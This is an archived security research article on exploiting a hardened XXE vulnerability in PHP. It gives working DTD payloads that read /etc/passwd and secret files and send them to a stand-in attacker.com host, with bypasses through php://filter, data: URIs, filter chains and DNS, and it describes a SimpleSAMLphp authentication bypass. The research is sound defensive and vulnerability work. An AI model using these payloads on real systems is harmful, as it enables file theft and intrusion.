Impossible XXE in PHP

Impossible XXE in PHP - Aleksandr Zhurnakov, PT SWARM.

- Published: date not stated
- Original: <https://swarm.ptsecurity.com/impossible-xxe-in-php/>
- Preserved from: https://swarm.ptsecurity.com/impossible-xxe-in-php/ (stored) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Writing secure code today is easier than making a mistake that would lead to an XXE vulnerability. While examining a library, I wondered: is its code truly secure? At first glance, everything appeared to be filtered, and the function didn't have the attributes that could make it vulnerable.

However, I was able to exploit an almost impossible XXE vulnerability using a combination of techniques and features.

```php
<?php
  ini_set('display_errors', '0');
  $doc = new \DOMDocument();
  $doc->loadXML($_POST['user_input']); // #1

  $xml = $doc->saveXML();
  $doc = new \DOMDocument('1.0', 'UTF-8');
  $doc->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NONET); // #2 & #3

  foreach ($doc->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {// #4
      throw new RuntimeException('Dangerous XML detected');
    }
  }
?>
```

Standard payloads won't work in such code, and to exploit an XXE vulnerability, four obstacles must be removed:

#1 `$doc->loadXML($_POST user_input']);` — since loading external entities is disabled by default, any entity of the form %x; will be replaced with an empty string.

#2 The `LIBXML_DTDLOAD` attribute allows external entities to be loaded, but does not allow one entity to be inserted into another. Let's see what happens if we try the following payload:

```
<!ENTITY % data SYSTEM "file:///etc/passwd" >
<!ENTITY % eval SYSTEM "<!ENTITY % exf SYSTEM 'http://attacker.com/?data=%data;'>" >
%eval;
%exf;
```

Without the additional `LIBXML_NOENT` or `LIBXML_DTDVALID` flag set, this payload will trigger a warning, entities will not be created, and data will not be exfiltrated from **data**.

#3 The `[LIBXML_NONET](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-nonet)` flag prohibits loading from external sources (http://).

#4 The payload for XXE starts with the `<!DOCTYPE` tag, so the `$child->nodeType === XML_DOCUMENT_TYPE_NODE` condition will always return true. This check prevents normal entities (`&entity;`) from being used.

The following payload addresses all these issues:

[image: image]

The PoC script is available on GitHub.

Bypass, bypass, bypass

We will address issues not in order of appearance, but based on the complexity of bypassing the defenses: from the simplest to the most complex.

Bypass the `<!DOCTYPE` condition

Bypassing the `$child->nodeType === XML_DOCUMENT_TYPE_NODE` condition is the simplest task. All you need to know is how to parse Parameter Entities (they start with `%`).

When the parser encounters a string like `%name;` while processing XML, it immediately tries to resolve the `name` entity.

If we use Parameter Entities for the attack, XXE injection will occur at the moment of loading the XML file, that is, when the `loadXML` function is called and before the `nodeType` condition is checked.

Bypass `LIBXML_NONET`

The next task — bypassing `[LIBXML_NONET](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-nonet)` — is not a problem either. Essentially, the LIBXML_NONET flag does nothing in PHP in most cases. Let's figure out why.

Standard XML parsing in PHP is based on the libxml extension, which in turn is a wrapper for libxml2.

Let's start with analyzing the libxml2 code

To load external entities, the `xmlDefaultExternalEntityLoader` function is used by default:

```
// parserInternals.c

static xmlParserInputPtr
xmlDefaultExternalEntityLoader(const char *url, const char *ID,
                               xmlParserCtxtPtr ctxt)
{
    ...
    // LIBXML_NONET flag in PHP, is the same as XML_PARSE_NONET flag in libxml2
    if ((ctxt != NULL) && (ctxt->options & XML_PARSE_NONET) &&
        // no-net "protection":
        (xmlStrncasecmp(BAD_CAST url, BAD_CAST "http://", 7) == 0)) { // [1]

        xmlCtxtErrIO(ctxt, XML_IO_NETWORK_ATTEMPT, url);
    } else {
        input = xmlNewInputFromFile(ctxt, url);
    }
    ...
}
```

The condition with the `XML_PARSE_NONET` flag check will only work when the URI of the external entity starts with http [[1]]().

Let's analyze some more code:

```
// parserInternals.c

xmlParserInputPtr
xmlNewInputFromFile(xmlParserCtxtPtr ctxt, const char *filename) {
    ...
    code = xmlNewInputFromUrl(filename, flags, &input);
    ...
}

int
xmlNewInputFromUrl(const char *filename, int flags, xmlParserInputPtr *out) {
    ...
    if (xmlParserInputBufferCreateFilenameValue != NULL) { // [2]
        buf = xmlParserInputBufferCreateFilenameValue(filename,
                XML_CHAR_ENCODING_NONE);
    } else {
        code = xmlParserInputBufferCreateUrl(filename, XML_CHAR_ENCODING_NONE,
                                             flags, &buf);
    }
    ...
    input = xmlNewInputInternal(buf, filename);
    ...
```

The `xmlParserInputBufferCreateFilenameValue` is used to implement custom loading of an external entity from the path specified in the filename variable. By default, this handler is NULL, but with the PHP extension libxml, it is implemented to enable PHP Wrappers [[2]]().

PHP Wrappers

PHP has a separate architectural solution called wrappers. It serves as a wrapper for handling data streams through standard file functions.

The libxml PHP extension declares the `php_libxml_input_buffer_create_filename` function, which loads external entities.

Let's take a closer look at it.

```
// ext/libxml/libxml

// sets custom handler implementation
xmlParserInputBufferCreateFilenameDefault(php_libxml_input_buffer_create_filename);

static xmlParserInputBufferPtr
php_libxml_input_buffer_create_filename(const char *URI, xmlCharEncoding enc)
{
  ...
      context = php_libxml_streams_IO_open_read_wrapper(URI);
  ...
  ret = xmlAllocParserInputBuffer(enc);
      if (ret != NULL) {
            ret->context = context;
            ret->readcallback = php_libxml_streams_IO_read;
            ret->closecallback = php_libxml_streams_IO_close;
      }

      return(ret);
}

static void *php_libxml_streams_IO_open_read_wrapper(const char *filename)
{
      return php_libxml_streams_IO_open_wrapper(filename, "rb", 1);
}

static void *php_libxml_streams_IO_open_wrapper(const char *filename, const char *mode, const int read_only)
{
  ...
      } else {
            resolved_path = (char *)filename;
      }
  ...
      php_stream_wrapper *wrapper = php_stream_locate_url_wrapper(resolved_path, &path_to_open, 0);
  ...
      php_stream *ret_val = php_stream_open_wrapper_ex(path_to_open, mode, REPORT_ERRORS, NULL, context); // [
  ...
      return ret_val;
}
```

The code shows that wrappers will be used to load an external entity [[3]](). This means that to bypass `LIBXML_NONET`, you need to replace `http://` with another wrapper. Let's replace

`http://example.com` with `php://filter/resource=http://example.com` and this will be enough to bypass the restriction and load an external file.

Bypass $xml->loadXML($_POST['user_input']);

When calling the `loadXML` method without flags, the classic payload of the following type:

```
<!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]><x></x>
```

will turn into

```
<!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">]>
<x></x>
```

Due to the absence of the `%xxe;` call, the DTD file will not be loaded.

[image: image]

To resolve the issue, let's examine the libxml2 code once again:

```
// parserInternals.c

int
xmlParseDocument(xmlParserCtxtPtr ctxt) {
   ...
   if (CMP9(CUR_PTR, '<', '!', 'D', 'O', 'C', 'T', 'Y', 'P', 'E')) {
         ctxt->inSubset = 1;
         xmlParseDocTypeDecl(ctxt);
      ...
      if ((ctxt->sax != NULL) && (ctxt->sax->externalSubset != NULL) &&
            (!ctxt->disableSAX))
            ctxt->sax->externalSubset(ctxt->userData, ctxt->intSubName,
                                      ctxt->extSubSystem, ctxt->extSubURI);

      }
   ...

void
xmlParseDocTypeDecl(xmlParserCtxtPtr ctxt) {
   ...
   URI = xmlParseExternalID(ctxt, &ExternalID, 1);
   ...
   ctxt->extSubURI = URI;
   ctxt->extSubSystem = ExternalID;
   ...
}
```

As we see from the code, the `SYSTEM` attribute is also parsed for the `DOCTYPE` tag. This is exactly what we need!

The payload can be transformed into:

```
<!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd" []><x></x>
```

Now, the payload will not change after the first call to `loadXML`, which means that on the second call to `loadXML` with `LIBXML_DTDLOAD`, the external DTD file will be loaded.

Last one?

For now, we have successfully bypassed three restrictions and achieved the loading of an external entity from any source. It's time to fix the exfiltration problem. At this stage, we can try the following options:

- XXE to RCE: achieving RCE via `expect://`

Problems:

- o The `expect` protocol is usually disabled.
- XXE to RCE via cnext exploit (iconv vulnerability)

Problems:

- This loophole can be fixed.
- lightyear: an impressive research on php filter chain, allowing file dumping using error-based oracle.

Problems:

- In our example, error text output is disabled, and an error is also displayed when using `DOCTYPE`, making it impossible to distinguish one 500 error from another.
- To achieve XXE injection via files, you must upload a huge number of files.

Each of these methods doesn't suit us for various reasons, so let's continue our research and try to find our own way.

Going deeper

Problems of conventional payloads

First, let's find out why the conventional blind XXE payload doesn't work in our case. We will use the file `malicious.dtd` as an example:

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

When such a payload is loaded via `loadXML` with the `LIBXML_DTDLOAD` flag, no outbound request is sent to the attacker's server, and PHP generates several notices:

[image: image]

To understand the problem, let's begin our analysis with the entity parser:

```
// parser.c

void
xmlParseEntityDecl(xmlParserCtxtPtr ctxt) {
  // RAW - it is a macro that returns the current character in parser.
  ...
  if (CMP6(CUR_PTR, 'E', 'N', 'T', 'I', 'T', 'Y')) {
    ...
    if (RAW == '%') { // detect Parameter Entity
      ...
      isParameter = 1;
    }
    name = xmlParseName(ctxt);  // entity name
    ...
    if (SKIP_BLANKS_PE == 0) {
          xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
                "Space required after the entity name\n");
       }
    ...
    if (isParameter) {
      if ((RAW == '"') || (RAW == '\'')) { // [4]
        value = xmlParseEntityValue(ctxt, &orig); // entity value
        if (value) {
          ...
          // declaration entity with value, entity->content = value
              ctxt->sax->entityDecl(ctxt->userData, name,
                          XML_INTERNAL_PARAMETER_ENTITY,
                              NULL, NULL, value);
            }
      } else {
        URI = xmlParseExternalID(ctxt, &literal, 1); // SYSTEM "URI" [5]
        if (URI) {
          ...
          // declaration entity with URI, entity->content = NULL
          ctxt->sax->entityDecl(ctxt->userData, name,
                    XML_EXTERNAL_PARAMETER_ENTITY,
                    literal, URI, NULL);
        }
      ...
    } else {
    ...
```

We are interested in the parsing of Parameter Entities. After processing the entity name, the current character is compared with the quotation mark character (`'` or `"`) [[4]](). If the current

character is a quotation mark, the content is parsed; otherwise, the entity URI is parsed [[5]]().

Important. An entity of the type `<!ENTITY % x SYSTEM "URI">` has no content, so `entity->content = NULL`.

Next, let's explore how the entity value is parsed:

```
// parser.c

xmlChar *
xmlParseEntityValue(xmlParserCtxtPtr ctxt, xmlChar **orig) {
  ...
  xmlExpandPEsInEntityValue(ctxt, &buf, start, length, ctxt->inputNr);
  ...
}

static void
xmlExpandPEsInEntityValue(xmlParserCtxtPtr ctxt, xmlSBuf *buf,
                  const xmlChar *str, int length, int depth) {
  ...
  while ((str < end) && (!PARSER_STOPPED(ctxt))) {
    ...
    } else if (c == '%') { // is it a parametric entity?
      ...
      ent = xmlParseStringPEReference(ctxt, &str);
      ...
      if (ent->content == NULL) {
        // loading external entity content
        if (((ctxt->options & XML_PARSE_NO_XXE) == 0) &&
          ((ctxt->replaceEntities) || (ctxt->validate))) { // [6]
          xmlLoadEntityContent(ctxt, ent);
        } else {
          // Here is our notice message, entity not loaded :(
          xmlWarningMsg(ctxt, XML_ERR_ENTITY_PROCESSING,
                  "not validating will not read content for "
                  "PE entity %s\n", ent->name, NULL);
        }
      }
      ...
      // inserting entity->content into parent entity value
      xmlExpandPEsInEntityValue(ctxt, buf, ent->content, ent->length,
                    depth);
```

If an entity has no content (`ent->content == NULL`), it will be loaded from URI only if the `replaceEntities` flag (PHP flag `LIBXML_NOENT`) is set or the `validate` flag (PHP flag `LIBXML_DTDVALID`) is

set [[6]]().

The cause has been identified: without the `LIBXML_NOENT` or `LIBXML_DTDVALID` flag, it is impossible to inject an external entity into the content of another entity.

Parameter Entity abuse

The problem with external entities is now clear, but what about internal entities, those with filled content? Judging by the code, there is nothing preventing the injection of such entities into the content of other entities.

An example of a working payload:

```
<!ENTITY % file "somedata">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Minimal PoC:

```
<?php
$doc = new \DOMDocument();
$doc->loadXML('<!DOCTYPE x SYSTEM "http://attacker.com/malicious.dtd">
<x></x>', LIBXML_DTDLOAD);
```

We get an inbound HTTP request, with the content of `x` equal to `somedata`.

[image: image]

Hmm, now we need to figure out how to use this without calling the `xmlExpandPEsInEntityValue` function.

SKIP_BLANKS_PE

While examining the parsing code of libxml2, I often encounter the `SKIP_BLANKS_PE` macro, which is responsible for expanding the Parameter Entity within the XML body.

```
// parser.c

#define SKIP_BLANKS_PE xmlSkipBlankCharsPE(ctxt)

static int xmlSkipBlankCharsPE(xmlParserCtxtPtr ctxt) {
  ...
  while (PARSER_STOPPED(ctxt) == 0) {
    if (IS_BLANK_CH(CUR)) { /* CHECKED tstblanks.xml */
      NEXT;
    } else if (CUR == '%') {
      if ((expandParam == 0) ||
        (IS_BLANK_CH(NXT(1))) || (NXT(1) == 0))
        break;

      /*
       * Expand parameter entity. We continue to consume
       * whitespace at the start of the entity and possible
       * even consume the whole entity and pop it. We might
       * even pop multiple PEs in this loop.
       */
      xmlParsePEReference(ctxt);

      inParam = PARSER_IN_PE(ctxt);
      expandParam = PARSER_EXTERNAL(ctxt);
    } else if (CUR == 0) {
  ...
}

void xmlParsePEReference(xmlParserCtxtPtr ctxt) // [7]
{
  ...
  if ((entity->etype == XML_EXTERNAL_PARAMETER_ENTITY) &&
    ((ctxt->options & XML_PARSE_NO_XXE) ||
      ((ctxt->loadsubset == 0) && // new condition [8]
      (ctxt->replaceEntities == 0) &&
      (ctxt->validate == 0))))
    return;
  ...
  input = xmlNewEntityInputStream(ctxt, entity); // entity loads method
  if (xmlPushInput(ctxt, input) < 0) {
    xmlFreeInputStream(input);
          return;
```

```
}
...
```

The most valuable function for us is `xmlParsePEReference` [[7]](), as it is responsible for entity expansion.

Pay attention to the condition for entity expansion; it is almost the same as in the `xmlExpandPEsInEntityValue` function, but with an additional check (`ctxt->loadsubset == 0`) [[8]](). The flag `loadsubset = 1` if one of the following flags is set: `XML_PARSE_DTDLOAD` or `XML_PARSE_DTDATTR` (in PHP, it's `LIBXML_DTDLOAD` or `LIBXML_DTDATTR`). It feels like we're getting closer to our goal.

The function `SKIP_BLANKS_PE` can expand entities, but there is a problem: the entity does not change, and `entity->content` remains equal to `NULL` . Instead of loading the entity, the data is loaded into a new parser input, which is placed at the top of the `input` stack.

Let's experiment with the following DTD:

```
<!ENTITY % file SYSTEM "file:///tmp/some.txt">
<!ENTITY % data %file;>
<!ENTITY % payload '<!ENTITY % exf SYSTEM "http://attacker.com/?x=%data;">'>
%payload;
%exf;
```

Such a DTD will be valid if the content of some.txt begins and ends with one of the quotation marks (`"` or `'`). And there is an additional condition: the content must not contain illegal or reserved characters, such as `&` or `\0` .

An example of a valid `some.txt` :

```
"It+works!"
```

Let's check it out:

```
<?php
$doc = new \DOMDocument();
$doc->loadXML('<!DOCTYPE x SYSTEM " http://attacker.com/malicious.dtd"><x></x>', LIBXML_DTDLOAD);
```

[image: image]

BRO PHP filters chain

wrapwrap

At this point, we understand that for a successful file exfiltration, we need to remove illegal characters and add double quotation marks as a prefix and a postfix. It can be easily done using the php://filter wrapper:

- Illegal characters are removed by converting the output to base64, using the filter `php://filter/convert.base64-encode/resource=/tmp/secret.txt`.
- To add a prefix and a postfix, we will use a very cool technique called wrapwrap.

Our DTD now looks like this:

```
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/A-LOT-OF-WRAPWRAP-FILTERS/resource=/tmp/secret.txt">
<!ENTITY % data %file;>
<!ENTITY % payload '<!ENTITY % exf SYSTEM "http://attacker.com/?x=%data;">'>
%payload;
%exf;
```

And it works!

[image: image]

But there is a catch: due to the nature of wrapwrap, the larger the file, the bigger the payload size. It can reach tens of kilobytes!

When parsing the `SYSTEM` literal, two constants are used to determine the maximum length.

```
// parserInternals.h

#define XML_MAX_TEXT_LENGTH 10000000

#define XML_MAX_NAME_LENGTH 50000
// parser.c

xmlParseSystemLiteral(xmlParserCtxtPtr ctxt) {
  int maxLength = (ctxt->options & XML_PARSE_HUGE) ?
                  XML_MAX_TEXT_LENGTH :
                  XML_MAX_NAME_LENGTH;
  ....
```

It turns out that without the `XML_PARSE_HUGE` flag, we only have 50 KB at our disposal. For the wrapwrap technique, it's too little. A payload of this size would only allow reading files up to about 50 characters long.

lightyear chunks

Let's take a look at lightyear, another incredible research on the topic of blind read and dechunk.

Using lightyear dechunk from this research, we can break the resulting file into chunks. Unlike wrapwrap, lightyear dechunk has a minimal payload size. The combination of these two techniques significantly reduces the payload size. Even without the `XML_PARSE_HUGE` flag set, it's possible to exfiltrate files that are a few kilobytes in size!

[image: image]

Here is an approximate algorithm for combining wrapwrap and lightyear:

- Take n characters from the file using wrapwrap.
- Find the rightmost character that can be transformed into `\n`.
- If possible, modify the previous filter and update the old jump. Otherwise, create a new filter with a new jump.
- If a new jump is created, the prefix of the old filter can be updated, since the chunk size is known.
- For the current filter, add the larger number to the prefix and apply the dechunk filter, removing the left part of the file.
- Read the file while it is still possible.

TRUE NONET: what to do when outbound TCP connections are filtered on the server

In some cases, outbound TCP connections may be blocked, preventing us from retrieving the DTD from our server. There is a brilliant workaround using local DTD files, but it doesn't always work.

Let's solve these problems with the `data:` protocol, using DNS for exfiltration.

data: protocol

PHP wrappers enable the following approach: instead of downloading a DTD file from an external resource or searching for a local DTD file, we can use the `data:` protocol, for example:

```
<!DOCTYPE x SYSTEM 'data:,%3c!ENTITY+%25+file+SYSTEM+%22php%3a//filter/convert.base64-encode/A-LOT-OF-WRA
```

The problem is nearly solved, but due to the extensive number of filters, the payload size will be enormous. If we intend to inject via a GET parameter, it will be problematic because servers often limit the size of the query string in the URL.

Let's tackle this with zlib.

zlib

Most filters are repetitive and compress very well, which means that we can use the `zlib.deflate` and base64 filters.

Let's encode the payload using these PHP filters: `php://filter/zlib.deflate/convert.base64-encode/resource=/payload.dtd`.

As a result, the original DTD is reduced several times over. After that, we can load the compressed payload via the filters:

```
<!DOCTYPE x SYSTEM "php://filter/convert.base64-decode/zlib.inflate/resource=data:BASE64_ZLIB_DATA," []><x></x>
```

The payload loading problem is solved; let's move on to exfiltration.

DNS

In our case, exfiltration via DNS is one of the methods of transmitting data via a subdomain name.

Note the following points:

- The length of each label (names separated by the symbol `.`) must not exceed 63 characters.
- When encountering base64, Google DNS may randomly change uppercase characters to lowercase and vice versa. In this case, it will be necessary to additionally validate the resulting base64.

[image: image]

Result

As a result, we were able to remove the following obstacles that hindered the full exploitation of the XXE vulnerability:

- Any XXE detectors after parsing the XML
- The `LIBXML_NONET` flag set
- Erasing of entities through double usage of `loadXML`
- Inability to read server files without setting the flags `LIBXML_NOENT` and `LIBXML_DTDVALID`
- Blocked TCP connections preventing data exfiltration
- Large payload size in case of an attack via a `GET` parameter

Fixing these problems allows XXE vulnerabilities to be exploited in PHP under the following conditions:

- The LIBXML_NO_XXE flag (available only starting from PHP 8.4.0) is disabled, and
- At the same time, any flag from the following list is set:

- `LIBXML_DTDLOAD`
- `LIBXML_DTDATTR`
- `LIBXML_DTDVALID`
- `LIBXML_NOENT`

I created a script to make testing easier.

Additional payload

It is worth noting that with error output enabled, the payload becomes much simpler. The research showed that when the specially crafted DTD is processed, an error is generated because of the “`=`” symbol in the entity name. This will result in the leakage of the contents of the `/etc/passwd` file, encoded twice in base64.

Contents of the external DTD:

```
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/convert.base64-encode/resource=/etc/passwd" >
<!ENTITY % %data;>
```

[image: image]

CVE

XXE in SimpleSAMLphp

>

The vulnerability was reported by another researcher

In October 2024, I discovered a vulnerability in the then-latest version of SimpleSAMLphp. However, while I was preparing a full-fledged PoC, CVE-2024-52596 was registered for SimpleSAMLphp in one of the repositories to which I intended to submit our vulnerability report. Unfortunately, I was too late...

However, my final PoC with an XXE injection allows you to read configuration files, discover the private key, and sign any Assertion, ultimately enabling you to completely bypass the authentication mechanism for SimpleSAMLphp configured as an Identity Provider. The vulnerability was exploitable by any user and did not require authentication.

XXE in [TBD VENDOR NAME]

Another vulnerability, which was exploited using the method described in the article, is currently being reported to the vendor. Once it is fixed, we will update this section of the article.